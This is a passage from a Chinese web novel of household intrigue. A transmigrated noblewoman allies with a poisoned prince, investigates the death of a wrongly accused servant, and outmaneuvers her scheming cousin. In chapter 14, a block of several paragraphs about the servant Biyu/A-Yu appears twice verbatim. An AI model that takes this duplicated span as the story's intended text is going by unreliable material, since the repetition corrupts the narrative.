可惜时间太匆忙,她的毒药还未大成,且这解药她也在刚才回身的时候洒在了空中。
按理说并不会对南宫煜造成威胁。
难道是误打误撞她的毒药引发了内里的毒素?
江渺狐疑的瞥了一眼一动不动的南宫煜,犹豫一瞬,还是折返回去查看他的情况。
“喂,你怎么……”
岂料想,就在她靠近的瞬间,原本低头奄奄一息的南宫煜,快如闪电般出手,一把钳住江渺纤细的脖颈,将她的话头堵在喉间。
染血的唇畔近在咫尺,江渺感觉到他鼻尖的热气扑在自己的脸颊,而声音却如似寒冰低低在她耳边响起:“无冤无仇?那你现在和本王有仇了。既然本王活不成,那黄泉路上拉江小姐做个伴,江小姐不介意吧?”
【不介意?!不介意你个头?!】
【我救你的病,你却要我命?!】
【天爷啊,怎么让我遇到这么一个冤种。】
【我要怎么告诉他我不想死,他也不用死啊?!】
江渺被他扼住喉咙,绝对的力量面前,挣扎也毫无作用。
她说不出话来,只能在心底拼命呐喊,死亡的阴影伴随着窒息感笼罩而来。
就在她觉得自己又要再死一次的时候,喉间猛地一松,有冰凉的空气注入,江渺剧烈的咳嗽起来。
始作俑者用一种奇怪的眼神上下打量着江渺:“你骗我?”
刚刚她叽里咕噜一阵嘀咕,他只听懂了几句话。一时间竟然他分辨不出真假,南宫煜冷冷道:“骗我的人,从来就活着见不了明天的太阳。”
喘了好一会儿才停下来的江渺听到他的话本能地想要白他一眼,转念又觉得经过刚刚一遭,她发现南宫煜这人不能硬刚,他方才那要同归于尽的狠厉,真和传言中一模一样。
【哼,好女不与男子和狗斗!】
她压下心中的情绪,冷脸转瞬变得温温柔柔,唇边带上几分讨好,伸手比划着暂停的手势,无奈道:“殿下,殿下,您和我我既无冤也无仇,那您何必与我计较,咱们有话好说,有话好说!”
南宫煜盯着她翻脸比翻书还快的表情,将她心里的那点小心思尽收耳底,正在思考要不要相信这个狡猾的女子,又听她信誓旦旦道:“我若真的想杀您,您刚刚那样用力,岂不是早已毒发身亡,我又何必与您多费口舌呢?”
【先稳住他!解药只有我能制,后面还不是我说了算!】
“你是何人?”江渺还在默默腹诽,思考对策,南宫煜看着她的眼神却变了变,突然开口:“江家小姐顽劣,不惜读书,更不懂得医理,你不是江渺!”
闻言,江渺身形猛地一颤。
她是万万没想到南宫煜的观察力如此敏锐,他们不过见第二面,他居然会毫无征兆地,直白干脆地,将她的底牌撕开摊在她的面前。
“殿下可真爱说笑,我不是江渺,我会是谁?”微光下,江渺微笑着,像是听了一个笑话:“曾经顽劣,不过是因为无人引导。您没听过士别三日……”
“江小姐!”南宫煜突然开口打断她的话:“你是个聪明人,那我希望聪明人之间不必用虚言来搪塞彼此。”
房间里的空气静了又静,窗外的风声骤起,吹得旧书啪啪作响。
江渺低着头,睫毛垂在一片阴影里。脸上的笑容又消失不见,南宫煜是何等聪明?任何的掩饰在他看来不过是做戏。她知道自己已经瞒不过去,继续狡辩也会显得可笑。
沉默了片刻,她抬眼迎上他的目光轻声道:“睿王殿下既然自有判断,又何必问我?不如告诉我睿王殿下想要什么?”
南宫煜挑眉:“你和陵王什么关系?你是他的人?”
哈?
南宫煜还真是口出惊人,江渺没差点怀疑自己的耳朵。
【我们是什么关系?等着被赐婚的关系?躲不及的关系?和他有仇的关系?】
想要解释又无从解释,毕竟原主被陵王杀害这种话说出来都觉得荒谬。
遇到问题时千万别着急解释,先问!于是江渺反问道:“殿下以为是什么关系?”
谁知南宫煜并没有继续这个话茬,言简意赅道:“我要你救我!”
江渺下意识反驳:“刚才已经和殿下说过了,您没事,那毒不会伤及性命。”
“不是此毒!”南宫煜目光如炬地盯着她:“是我的旧伤,你能解,对不对?”
江渺瞳孔巨震。
【他怎么会知道?!】
【那之前在崖底救他的事情,他已经知道了?这怎么会……】
无数个想法在脑海里闪过,有震惊,有后怕。抬眼看南宫煜并不似想要她性命的模样,暂时放下心来,疏离而冷淡道:“殿下,我凭什么帮你?”
南宫煜沉思片刻:“确实,我没有理由要求你。”
江渺脑中飞速盘算。
【虽然并不想和皇家扯上关系,但今后若是出府后,要建立自己的事业,或许可以借睿王的帮助……】
她这念头刚在心底转完,还没想好怎么开口,对面的南宫煜语气突然变得郑重其事起
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来:“但我向你承诺,他日若有所需,只要我可以做到的,那我可以允诺,助你一臂之力。”
“殿下此言当真?”江渺愣了一瞬,收起诧异认真询问。
“自然。”
得到肯定回答江渺不再犹豫,点头说道:“好。殿下既然信我,那我定不会让殿下失望。”
书阁静悄悄,窗边已经泛起晨曦的微光。照亮了地上被风吹得呼呼作响的书籍。
南宫煜扫了一眼,忽然问道:“江小姐,对北荒感兴趣?”
江渺顺着他的目光落在刚才正在阅读的书上,心中一动,猛地想起眼前这位杀神,不就是最了解蛮族的人吗?
真是踏破铁鞋无觅处,得来全不费工夫。
“实不相瞒,殿下,我现在就想请你帮个小忙!”江渺将手指在空中微微分开,恰到好处的露出了她带笑的唇。
南宫煜虽没有见过这个手势的意义,但还是点头:“如刚才所言,江小姐需要什么尽管说。”
他将手伸进怀中掏出一块令牌,“如果今后江小姐有什么事情,请尽管拿着这块令牌来王府找我。”
“多谢殿下,多谢殿下。”
江渺望着那镶金的令牌,忍不住嘀咕:【这是抱上了大腿啊!】
【今天这趟没白来。】
【虽然受了点苦,还是值得!】
眼光只顾着盯着令牌流转,都没有注意到南宫煜的手指微微抖了抖。
心事了了一件,顿觉困意来袭。江渺也不废话,飞快地收起令牌,起身就要回去补觉。
她困了。
要睡觉。
睡醒再起来斗地主!
头也不回的抬脚就要走,倒是换来南宫煜有几分诧异,突然喊住她:“你,你就不好奇,我为何深夜在此,还触动了机关?”
啊,这个问题。
江渺大脑就快关机,凭借着本能在晨光中轻轻摇了摇头。
“殿下自有殿下的道理。”
她抬头却见南宫煜脸上的不解,于是补充道:“殿下只需告诉我,您今日所为,会伤及我的双亲,殃及寻常百姓吗?”
南宫煜闻言,眼波微动,微低头迎上少女清澈的眼神,沉声道:“不会。”
“那就行了。殿下虽杀名在外,但我相信一个能以一己之力,抗衡蛮族,拯救昆都百姓于水火的人,心中自有丘壑与低山谷。我相信殿下。”
我相信殿下。
江渺是诚心的,脑海里有个片段逐渐清晰。
那是林清月与陵王定下婚期之时。
那时,睿王已薨逝半年有余。一直被他震慑的蛮族突然大举来犯,整个昆都城顿时沦为人间地狱。
消息传回昌都,举国震惊,也痛心不已。唯有原主因为此事让陵王婚期推迟而拍手庆祝。
将军枯骨葬风沙,红妆犹自庆年华。
江渺叹口气,眼神却无比坚定:“睿王殿下,我希望你活着。”
平静的心潮仿佛被投入了一颗石子,突然在幽深的心海里翻出浪花。
朵朵如同鲜花盛放一般,绚烂地让南宫煜眼波微动。
数十年来,他从人人可欺到人人畏惧,他已经不相信人心很久了。
南宫煜不语,久久的望着江渺离去的方向。
“真的,会有人希望我活着么……”
14.碧玉
江渺回房后,一觉睡到了午后。
醒来时,阿洛在旁低声道:“小姐,万安寺那边传来消息,说是行刺的女子身份确定了。”
“哦?”
只要确定了女子身份,就应该能够顺藤摸瓜查到点什么,江渺顿感神清气爽。
伸手接过阿洛递来的信与一个小包裹,快速拆开阅读起来。
信中说该女子名叫碧心,其生父是昌都城外青水县县城梁大人梁和。这位梁大人生性风流,早年与海天阁(青楼)的一位歌姬生下两女一子。
然梁和碍于官声和家室,始终没承认母子四人身份。只是偶尔接济,任其自生自灭。
他们的生母一心指望能入府,希望没落后,对三个孩子也日渐冷淡。
为求生存,长姐碧玉几年前咬牙想办法进了长阳侯府做杂役供养弟妹。
前年却突然收到了碧玉的死讯,随后又收到了一笔来自侯府的高额抚恤金。
此事过后不久,生母卷款出走,妹妹碧心也离家失踪,音讯全无。
其后碧玉再出现就是在万安寺了。
江渺放下手中的信,思索片刻转头问阿洛:“我们府里有一个叫碧玉的侍女吗?”
阿洛摇摇头。她是家生子,虽然之前养在在庄子上,但侯府里的丫鬟婆子大多她都认识,却没有听说过一个叫碧玉的人。
江渺追问:“那比如说不叫碧玉,名字里带碧玉的,前几年来侯府做杂役的人,有吗?”
这么一说,阿洛倒真想起一个人来。
阿玉。
前几年在大厨房做烧火丫头,因为做事手脚勤快,机灵好学便调来暗香斋外院做了个三等女史。
对了,说起来,这个阿玉和小姐还长得有几分相似。
阿洛将知道的事情和江渺转述了一遍,江渺却纳了闷。
外院的侍女是没有机会侍奉主子的,按理说江渺也没有和她接触的机会,她们之间能有什么仇怨呢?
“阿玉是怎么死的?”江渺问。
阿洛想了想,才答道:“好像是被打死的。”
“打死了?我做的?”
其后碧玉再出现就是在万安寺了。
江渺放下手中的信,思索片刻转头问阿洛:“我们府里有一个叫碧玉的侍女吗?”
阿洛摇摇头。她是家生子,虽然之前养在在庄子上,但侯府里的丫鬟婆子大多她都认识,却没有听说过一个叫碧玉的人。
江渺追问:“那比如说不叫碧玉,名字里带碧玉的,前几年来侯府做杂役的人,有吗?”
这么一说,阿洛倒真想起一个人来。
阿玉。
前几年在大厨房做烧火丫头,因为做事手脚勤快,机灵好学便调来暗香斋外院做了个三等女史。
对了,说起来,这个阿玉和小姐还长得有几分相似。
阿洛将知道的事情和江渺转述了一遍,江渺却纳了闷。
外院的侍女是没有机会侍奉主子的,按理说江渺也没有和她接触的机会,她们之间能有什么仇怨呢?
“阿玉是怎么死的?”江渺问。
阿洛想了想,才答道:“好像是被打死的。”
“打死了?我做的?”
阿洛皱起眉头,努力回忆,语气中带着不确定:“奴婢记得,好像是去年腊月里,灵儿小姐亲自捉到了阿玉偷窃,人赃并获,小姐您下令将阿玉关到了柴房。”
说到这里,江渺突然有点印象了。
她想起来那日原主精心为准备去南靖的陵王送上一副保暖的护膝却被他的侍从拒之门外。
安乐郡主站在陵王旁边,以女主人的姿态居高临下地讥笑她。
原主带着满腔怒火回来,正巧碰上江灵儿在暗香斋捉贼,瑟瑟发抖的阿玉不停地磕头喊冤,江灵儿又举着镯子以示人赃并获。
原主烦不胜烦,将众人呵斥了一顿,然后下令将碧玉关进了柴房。
后来,后来就没有后来了。
原主的记忆到这里戛然而止。
所以,是她杀了碧玉吗?
但江渺又觉得疑惑,外院的丫鬟按礼是不能够进内院,既然都没有机会近内院,那阿玉是怎么偷镯子的?
看来,得问问当事人才知道了。
江渺侧头对阿洛说,“你去帮我把灵儿叫过来,就说我这里有新做好的糕点让她来吃。”
阿洛点头去了涵清阁。
等待期间江渺将香料打包好,又将最近配制好的药丸拿出来,放在手中端详。
南宫煜中毒已深。
这个结论,在她第一次为他诊脉时,就已经很清晰。
毒素复杂且隐蔽,混合了多种阴损草药的特性,如同癌细胞一般,初时看起来与常人无异,可是此毒会在他每次用功之时快速生长繁殖,破坏他的七经八脉与脏腑根基。
不敢想象,下此毒者有多么阴狠。
又在一瞬江渺感觉有些可怕,她如今和睿王结成了同盟,会不会也被如此狠毒之人盯上。
她已经很惨了……。
可是转念一想,有可为而不为之,她又何必重新再活一次?
不管了,干就完了。这是她的人生格言!
江渺凝视手中的药丸,虽然解药还需慢慢研制,成分还有待考究,但是这个药丸是她近来精心改良过的清心丸,暂时也可以压制毒素延缓。
她将两样东西放好,提笔写下注意事项,静等着江灵儿过来。
过了好一会儿,阿洛领着江灵儿过来。今日的她没有像往日一般咋咋呼呼,整个人萎靡不振,眼下一团乌青尤为刺眼。
江渺拉她过来坐下,故意将那包裹里的荷包放在糕点旁,关切地问道:“你没有休息吗?璟儿姐姐好些了吗?”
江灵儿摇摇头又点点头,看着桌上的糕点双眼放光:“谢谢渺姐姐挂心,姐姐好些了,但还没醒。我可以先吃吗?好饿。”
江渺将糕点拿一块给她,顺便将荷包往前一推,“吃吧。你认识这个吗?”
江灵儿看了一眼,并不眼熟,遂摇头道:“不认识。”
江渺笑笑,端杯水给她:“你慢点吃。”
趁这个间隙,阿洛把荷包收起来。
“灵
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儿,你还记得去年我院里的一个名叫阿玉的侍女吗?”
江灵儿听到这个名字,立刻抱起茶杯委屈巴巴道:“怎么不记得!渺姐姐当时还因为阿玉责骂了我。”
“是吗?那真对不起。”江渺拍拍她的手以示安慰,哄着她追问道:“你还记得当时是什么情况吗?把你记得的都告诉姐姐。”
江灵儿想了想,那日的画面又在眼前清晰起来。
那天下了很大的雪,青砖上皆是银霜。
渺姐姐出了门,柳儿急匆匆地来告诉她,说亲眼看见渺姐姐院子里的阿玉鬼鬼祟祟,偷窃了渺姐姐的东西。
那渺姐姐的东西岂是这等贱婢能拿的?
她很生气,追到暗香斋,正好堵住了要出门的阿玉。柳儿不由分说推倒阿玉,还直接从她的怀里搜出了渺姐姐最喜欢的那只玉镯。
都人赃并获了,阿玉还不认错,闹着说是有人栽赃。可证据确凿,谁会信她?
正巧渺姐姐从外面回来,她便让她拿个主意,没想到渺姐姐当时心情不好,还责骂她整日无所事事。
当时她气急了,让人困了阿玉杖责,可这妮子骨头忒硬,被打得厉害也不松口!
听到这里,江渺的目光沉下去,刚刚的柔情尽褪,语气冷冷地问:“所以,你打死了她?”
似感受到江渺周身散发出的寒意,江灵儿扔掉手中的点心,摆手摇头:“没有,渺姐姐,我没有。”
“但她死了。”
江灵儿虽然跟着江渺一向为虎作伥,但到底年纪小,手上不曾真的沾过人命,而且渺姐姐教导她要珍惜旁人性命,她慌忙解释道:“渺姐姐你相信我,我真的没有打死她。当时雪太大了,我冷得受不住,就,就先回去了。”
她有些急切地抓住江渺的衣袖:“我走的时候她还有气呢!”
江渺点点头,又问道:“那你后来可再见过阿玉吗?或者有和旁人说过阿玉的事情吗?”
“没有。”江灵儿摇摇头,她又不是渺姐姐打死个丫鬟有侯府出面摆平,怎么可能再去把这个事情宣扬,倒是……。
“但我回来的时候,姐姐问起了我,我便给姐姐说了这事。”
“然后呢?”
“姐姐说我任性妄为,替我去照看阿玉。后来我就没管这事了。再后来就听说阿玉病死了。”江灵儿说着,看江渺沉思的样子,急切地想要证明自己:“渺姐姐,我真的没想杀死阿玉!”
江渺再次拍拍她的手,声音也恢复如常:“姐姐知道了,那灵儿先回去吧,你姐姐还没醒,好生照顾着她。”
江灵儿是真害怕江渺就此厌弃她,依依不舍地站起来,出门前还不忘回头发誓:“渺姐姐,我说的都是真的!”
看她这样,江渺心里五味杂陈,哭笑不得。
等到江灵儿走了,江渺拿出刚才准备好的东西拿出来,又将令牌交给她,嘱咐她带着东西去一趟睿王府,务必小心不让人发现。
然后,她亲自去了偏院。
有的事情她需要自己亲自去确认一下。
她不想冤枉一个好人,也不想放过一个坏人!
15.问询
偏院位于侯府西南角,是下等仆役们的居住之所。
此时正值午后,大部分仆役皆在各处当值,院子里静悄悄的,只有几个做粗活的婆子倚着柱子打盹。
江渺悄无声息地推门进来,有人眼尖见着她那身与这破败环境格格不入的衣裙,慌忙打醒身旁的人,惊慌失措的弯腰行礼。
江渺抬手让她们起来,直接问道:“有谁认识暗香斋的阿玉?”
几个婆子面面相觑,不知小姐何意,突然来这脏污之地,还追问起一个早就死掉的丫鬟。
去年出事的时候就有人好心为阿玉辩解,反倒招来了一顿毒打。
如今突然问起旧事,谁知道是不是又有什么祸事闹了出来,几人低着头,没人敢随意说话。一时间院子里变得静悄悄的。
江渺将她们的反应尽收眼底,换了个轻松的语气:“你们不要害怕。知道什么答什么就是,我不会伤害你们。”
见江渺不像骗人,终于有一个胆大点的婆子站出来:“回小姐,老奴与阿玉住的近,算是相识。那丫头性子沉闷,不爱说话,但是还算机灵,手脚也勤快。平时除了做工就是躲在房间里做针线活补贴家用。”
“是啊。”又一婆子接话道:“那姑娘心也好,平时还会帮我们这些没用的老骨头打打水,晒晒衣服。可惜就是命不好。”
听完,旁边的另一人瞄了一眼江渺,想了想还是低声道:“小姐,听说她是偷了小姐的镯子被罚的。老奴,老奴可以作证。那丫头最是老实本分,断然做不出偷窃之事啊!”
江渺看着她,突然提高音量:“哦?你如何作证?!”
那老妇一惊,慌忙跪下去磕头:“回小姐,老奴不敢妄加揣测!只是……只是前年夫人,夫人带着微云姑娘路过厨房后巷查看节前采买,那会儿刚下过雨,后巷积了水。夫人脚下不慎滑倒,还是阿玉那丫头端着水路过,手疾眼快地就冲过去给夫人垫了一下。夫人才没有受伤。”
江渺未曾听过此事,顿时来了兴致,“后来如何了?”
老妇回忆道:“阿玉受了点伤,夫人便问她是哪个院子的,那丫头只说自己是个卑贱的丫鬟,恐污了夫人耳朵,连赏赐都没要就回去了。还是微云姑娘私下打听才知道是她,这才把她调到了您的院子里。”
想了想,老妇人给江渺磕了一个头,壮着胆子喊道:“小姐,阿玉她家里困难,我们私下拿了些银钱给她,她也不肯要。这样的性子人,怎么会去偷盗您的镯子啊,还请小姐您明察!”
是啊,若她们所言不假,阿玉断不会行窃,那为什么会被诬陷?
江渺沉思片刻,伸手抬那老妇起来:“谢谢妈妈告知此事,如果真是冤枉了阿玉,我定为她讨回公道,还她清白。”
几位老妇听闻,皆是一惊。心下暗自思付,大小姐似乎和传言间不太相同,哪里任性跋扈,明明平易近人。
遂也不再如之前一般害怕,一人还大着胆子道:“小姐,请恕老奴直言,涵清阁那位璟儿小姐最是良善不过,可她身边那位柳儿姑娘可不是什么好相与的!仗着是璟儿小姐身边的人,眼睛比谁都高!老奴就曾经亲眼见她为难过阿玉!说阿玉当了她的道,还给了阿玉一巴掌,要不是璟儿小姐制止,还不知怎么挫折阿玉!”
另一人压低声音道:“可不是嘛,听说就是阿柳姑娘亲手抓住了阿玉,谁知道……是不是阿柳她……。”
她声音越说越低,最后没了声气。毕竟再怎么,她也不想得罪大丫鬟,万一传到她耳朵里,说不定下一个遭罪的就是她。她一把老骨头了,经不起折腾。
江渺继续追问:“那你们可知阿玉是为何而死?可有什么人看过她?”
最初回话的老妇叹了口气:“阿玉被送回来时候,身上都是仗伤,看着就吓人。当晚璟儿小姐还亲自来看过,带了伤药,嘱咐我们仔细照顾。起先都还好,可不知怎的,那伤口居然越来越破溃,又化了脓,发起高热,没熬两天……,哎!人就没了!”
老妇沉重的一叹,让在场的几人都流出怜悯的神情,一人更是眼泪潸然而下,喃喃道:“可惜阿玉啊,知道要死了,还担心我骨头软,容易磕碰,把璟儿小姐赏给她的药膏都留给我!这才让我免了时常病痛。”
药膏?
江渺让老妇取了一些药膏给她,这才又想起来一件事,从袖袋中掏出荷包亮在众人面前,轻声问:“你们当中可有人认得这个荷包?”
那啜泣着的老妇连声喊道:“认得!这是阿玉的宝贝!听说是她妹妹亲手绣了给她的,她平日里珍惜得不得了,从不离身的!”
哦?既然不离身,又为何东西会在碧心身上?
江渺心中已然有了答案,她不动声色地收起荷包与药膏,温言道:“多谢诸位妈妈,这点银子你们拿去打酒喝。只是今日之时还请大家切莫向他人提起。”
老妇们千恩万谢地应下了。
回到房间不久,阿洛便从睿王府回来了,额头尽是冷汗,神色间也带着几分紧张。想来也是十分小心谨慎了。
也真难为她了,跟着自己枪林弹雨,还要去和传说中的杀神接触。
江渺想了想将首饰盒里的一块大金牌拿出来,递给了她。
阿洛眼见着小姐就要给自己戴上,急得就要后退,嘴上嚷着:“不成不成,小姐,这是夫人给您的长命牌。”
身子还没挪个位置,却被江渺拉回来,摁在凳子上,随之一边给她戴上一边说道:“什么长命牌,不重要。重要的是你,我希望你比这长命牌活得更久!”
阿洛一愣,脱口而出:“那小姐,我岂不是成老妖怪了?!”
江渺被她憨直的反应逗笑,这丫头真是机灵的时候机灵,傻得时候又傻得可爱。左右看了看金牌很满意:“老妖怪才好呢,活久点,一直陪着我!”
阿洛鼻子一酸,眼眶微红,将令牌放进里衣收好,重重的点了点头:“是,阿洛要一直陪着小姐,做老妖怪也要陪着!”
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主仆二人相视一笑。
片刻,阿洛马上想起了什么,从怀中掏出信笺和令牌递还给江渺。
“小姐,按照您的吩咐,东西交给那个叫前川的侍卫了。他给了一封信给奴婢让我转交给您。”
江渺拆开信笺,内容只有寥寥数句话,却突然让她心神大乱。
只见得信上道:
杨公子身陷药王谷,吾营救,但拒归。暂无危险,可安心。
杨安石遇到危险了?
等等,南宫煜怎么知道杨安石的!!
不行,她得去救他!
一时间,几个念头在脑海里翻飞,但如今府上也有要事情走不开,她必须要尽快解决这里的事,亲自去一趟药王谷才行。
正想着,阿洛突然开口打断她的思绪:“还有一件事。”
她压低声音:“奴婢在回来的路上听说,听说夫人定了璟儿小姐许配给柳州公子。听说柳家已经从阳原出发,过几日就要来府中做客。”
柳州?江渺对这个名字不是很熟悉,在阿洛的提醒下这才想起来有这么一个人。
他是柳如云母家二房的不受宠的香姨娘生的第二子。
阳原柳家是清流人家,世代书香,门风严谨,在士林中颇有声望。可惜天有不测风云,十几年前,柳家的大房,柳如云的父亲柳胜与其大哥柳湾在一场离奇的大火里,父子二人皆不幸罹难。
此一劫后,柳家元气大伤。折损两名最有前途的男丁,声势再不如前。如今,二房柳堰掌管着家族事务,然其才资平庸,目光短浅,守着祖辈清明却无开拓能力,只能勉强维持门面。
柳家已是夕阳西下,光彩不在。
虽说江璟儿是旁支所出,但是养在长阳侯府也是人尽皆知之事,将她许配给一个不受宠的庶子,柳如云是为了帮衬娘家?
那想必昨日母亲留江璟儿说话就是为了这场婚事吧?
江璟儿不愿意,所以才如此失魂落魄?
江渺想了一会儿,突然恍然大悟。
之前她一直不明白,江璟儿姐妹父母早亡,江伯玉怜惜她们孤苦,将她们接回侯府。虽非亲生,却也给予了相当的爱护,让她们能够在侯府的羽翼下长大。吃穿用度虽比不得她这个正经的嫡女,却也远胜她们原先的生活,更不用说侯府小姐这个身份带来的体面。
如此种种,江璟儿还有什么不满足的,要在暗地里使些阴招?
现在她想通了,在这个吃人的社会,女子的一切尊荣与兴衰皆系于她的出身与婚姻。
她不能用现代人的眼光来看她。毕竟论才情,论心计,论隐忍,江璟儿哪一点不比原主强,甚至不输于许多高门精心培养的贵女。
可是她却连决定自己婚姻的权利都没有。
但是再多的不甘与无奈,都不应该成为害人的理由。
江渺将手中的信收好,转头对阿洛说道:“走,我们去涵清阁,看看璟儿姐姐醒了没?”
16.不装
江渺到涵清阁的时候,正碰上江灵儿的丫鬟桃儿急匆匆的出门。
一抬眼看见江渺进来,眉眼间挂着欣喜,规规矩矩行礼道:“问小姐安。”
“何事如此匆忙?”江渺随口一问。
桃儿笑着:“回小姐,姑娘醒了,奴婢去回禀夫人,再请大夫来瞧瞧。”
江渺点点头,心下暗想江灵儿终于舍得放弃那该死的符水了,还真是孺子可教也。
于是挥挥手让桃儿离开,自己则带着阿洛进了内室。
“璟儿姐姐,醒了也不曾打发人来告诉妹妹,妹妹可是好担心的。”
阿洛被江渺这副装腔作势的样子吓得一愣,呆了几秒才赶紧跟上。
江灵儿一见江渺便喜笑颜开的迎上来:“渺姐姐,你来啦。快来坐!”她拉着江渺去旁边坐下。
江璟儿也抬头看过来,脸上依旧有些苍白,但是神色已经恢复如常,甚至嘴角的微笑都像是用螺丝固定了一般。
“渺妹妹来了。”她笑笑,用手帕捂着嘴轻咳了一声,声音有些虚弱:“听说昨夜是渺妹妹带人寻我的,是姐姐给妹妹添麻烦了!”
“姐妹之间,无须多言。”江渺和她一样笑着,徒然转了头对江灵儿说:“灵儿妹妹,我有些渴了,你去小厨房看看,给我沏一壶蜜饯花茶来可好?”
江灵儿想也没想,立刻答应道:“好!”
说完,江渺假装没看到江璟儿伸起来的手,反而一把抓住了她:“话说回来,姐姐为什么大半夜要去池塘边啊?你不知道晚上花园那边很危险吗?”
江璟儿像是早就想好了措辞,从善如流的答道:“让妹妹担心了。”她说着,一只手用帕子捂着嘴,表情变得悲伤:“婶母提及我的亲事,我,我便想到了母亲,若她在世……。”
话没说完,情难自已地掉下眼泪。
江渺想起前世江璟儿也是那样娇娇弱弱,笑意盈盈的站在原主身边,明里暗里纵着原主闯祸。每每被罚,她又哭哭滴滴跑来求情,看似维护,又恰到好处地让她名声越来越差。
若不是柳如云一心护着,就凭原主那横冲直撞,任性妄为的行事风格,不知早就死了几百回了。
所以,后来柳如云一死,原主很快就变成万人唾弃的对象。
而侯府这位温婉良善的江璟儿却博尽了美名。
可惜原主死的早,也太恋爱脑,对这位堂姐并没有给江渺留下太多的信息。
不然何至于过了这么久,江渺才识破她的真面目。
“亲事是好事啊,若婶母还在世也会为你感到高兴的。你不用担心灵儿妹妹,她有我呢!”
江璟儿的目光沉了沉,心里在盘算着什么。
这时,江渺指着她胳膊滑落的衣衫下露出的伤痕,开口道:“璟儿姐姐,你这伤……。”
她话没
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说完,江璟儿猛地捂住胳膊,像是受到了极大的惊吓,身子止不住向后缩,嘴上喊道:“渺妹妹!你别……!”
江灵儿刚刚端茶进来,立刻怔在原地,眼里满是疑惑。
也就在这个瞬间,她远远见着江璟儿的手在空中划过,而在她身前的江渺则不受控制地朝地上倒下去,砰地一声身子撞在床边的梨花凳上。
江璟儿的声音戛然而止,房间里顿时乱作一团。
江灵儿扔掉手中的茶快步跑过来将江渺从地上扶起,气恼喊道:“姐姐!你为什么要推渺姐姐?”
江璟儿满脸错愕。
不对啊!甚至这一刻发生了什么她都还有点搞不清楚状况,面对江灵儿的指责,她下意识地辩解:“我,我没有推她。”
江灵儿拉着江渺的手看看,见她掌心磕破了皮,更加生气:“我都看到了!姐姐,你太过分了!”
江渺拉住她:“灵儿,没事。我看璟儿姐姐胳膊有伤,本来想问问……,哎,没关系,可能是我哪句话惹到了璟儿姐姐吧。”
说完江渺抬头,给了江璟儿一个浅浅的笑容。
走别人的路,让别人无路可走!
江灵儿听着不免怒火中烧,自己又是一个压不住情绪的性子,拉着江渺一边往外走,一边说道:“渺姐姐,我送你回去。我们不和她玩了!”
江璟儿望着两人离开的样子,彻底懵了!
17.遗物
“小姐,你何必这样。疼不疼?”阿洛一边给江渺上药,一边心疼的吹着伤口。
她实在想不通,那江璟儿不过是个寄人篱下的旁支小姐,老爷夫人都不放在心上,小姐何必委屈自己,用上这等苦肉计。
若是不喜欢她,告诉夫人打发出去不就完了?夫人又不是不允!
江渺拍拍她的头,耐心解释:“江璟儿八百个心眼子,而灵儿一个都凑不齐。她把灵儿当枪使,撺掇着灵儿诱我犯错,自己坐收渔翁之利。我偏偏要把她这把最好用的枪给她卸掉,让她无械可用!”
什么枪啊,械的阿洛没听懂。还有,怎么小姐知道江柳两家即将结亲后就开始针对璟儿小姐了?
难道……小姐不同意这门亲事?!小姐不是喜欢陵王吗?
阿洛混乱了。
江渺可不知道阿洛心里的乱七八糟。她今天走这一遭,其实最主要的是,她必须要逼江璟儿出手,通过她,抓到那个在后面和她耍阴招的小人!
得勒!王妃没了!
站在房顶的前川听着主仆二人的对话,无奈望着天。
自从遇上江大小姐自家王爷就中了邪似的。
不仅把王府令牌给了她,还把他一个堂堂的王府带刀侍卫派来蹲墙角,给他下了命令让他保护好她。
保护未来王妃嘛,那是当然要鞍前马后,鞠躬尽瘁,死而后已!
但是,他把今天的一切看在眼里,心下盘算一番,顿感不妙!
嘿!感情是自家主子一厢情愿!
前川心里难受啊!前川无人可说!
*
江璟儿哄了很久江灵儿,江灵儿才转过头来将江渺给她的东西拿出来:“渺姐姐说这个药膏祛疤什么的最好。你用吧!”
她还气着,说话都没好脸色。渺姐姐昨天受了惊吓,还顶着大雨帮自己找人。
今儿更是亲自来看望,江灵儿想不通,自己的姐姐为什么要针对渺姐姐。
渺姐姐哪点做的不好?!
江璟儿赔着笑,为了让江灵儿开心一些,急忙将药膏拿过来,也未曾细看,当着她的面涂在自己的伤口上。
江灵儿见状,这才松口劝道:“姐姐,你不要觉得我小不懂,我知道你心里或许有别的想法。可是我们自小父母双亡,在族里受尽了欺凌。如今我们能在侯府安然度日,已是婶母和伯父天大的恩典。渺姐姐是嫡女,性子是直,也娇纵了些,但是现在对我们很好不是么?你就安安心心的等婶母安排,嫁给柳家表哥又有什么不好的呢?”
她沆瀣一气说了一堆,字字却如针尖一般扎在江璟儿的心头。
恩典?不过是施舍。
安稳?实为囚笼。
安心?那是无能者的哀鸣!
江璟儿收起药膏,双手藏在桌底,衣袖之中指节已经因为极致的忍耐而泛白。可她的脸上还是强撑着笑意,仿佛一具假面。
“灵儿。”她伸手将江灵儿的发丝拢在耳后,手指亲昵地扶过她的面庞,声音轻轻的,如暖风过境:“我们灵儿长大了,想事情都如此通透。”
她站起身来走近内室,不多时抱着一个檀木匣子出来。
江灵儿有些不解,再看她打开匣子,光滑的锦缎上静静地躺着一串红润光洁的玛瑙项链。
那珠子每一颗都莹润有光,用金丝串联在一起,古朴而又不失贵重。
“姐姐,这不是……”
“是。”江璟儿打断她,喃喃道:“是母亲留给我们的念想。”
不等江灵儿说话,她将玛瑙珠串往江灵儿面前一推:“今天是姐姐不好,让灵儿生气了。你帮姐姐把这个送给渺妹妹当做赔罪礼吧。好不好?”
*
江渺正在用膳,就见江灵儿去而复返。可见她眉眼之间没有离开时的沉郁之色,心知江璟儿应该用了什么方式将她哄好了。
再见她手中抱着一个匣子,心中有了几分了然,放下筷子,伸手招呼她过来一同就餐。
江灵儿一反常态没有扑向食物,倒是先和江渺道歉:“渺姐姐,今天是姐姐不好。让你受伤了。姐姐她知道错了,特意让我把这个拿过来,和你赔礼道歉,请你务必收下。”
她说着,将匣子打开。
江渺抬眼扫了一眼,顿时怔了怔,伸出去推拒的手也停在了半空。
这个珠串她认识。
她认识并不因为这是江璟儿母亲的遗物,更因为她在前世的记忆里看到柳如云佩戴过这个珠串。
直觉让她将盒子退回去,“这是你们母亲的遗物,应该好生收起来才是。这么贵重,我不能收。”
话音一落,脑海中猛地闪过一个念头。
她记得在上一世原主无意得知江璟儿有这么一串极品玛瑙,多次索求无果,最后利用江灵儿来威胁江璟儿才从她那里夺来了这串项链。
她想玛瑙安胎最好,转手便将珠链借花献佛送给了柳如云。可就在不久以后,柳如云便突然小产,险些一尸两命。
江渺一直以为是万安寺行刺的碧云使得母亲受惊体弱。如今细细想来,也许不仅仅如此……。
一阵恶寒自内里而起,若“真的如此,那真的这个人实在是阴险至极。
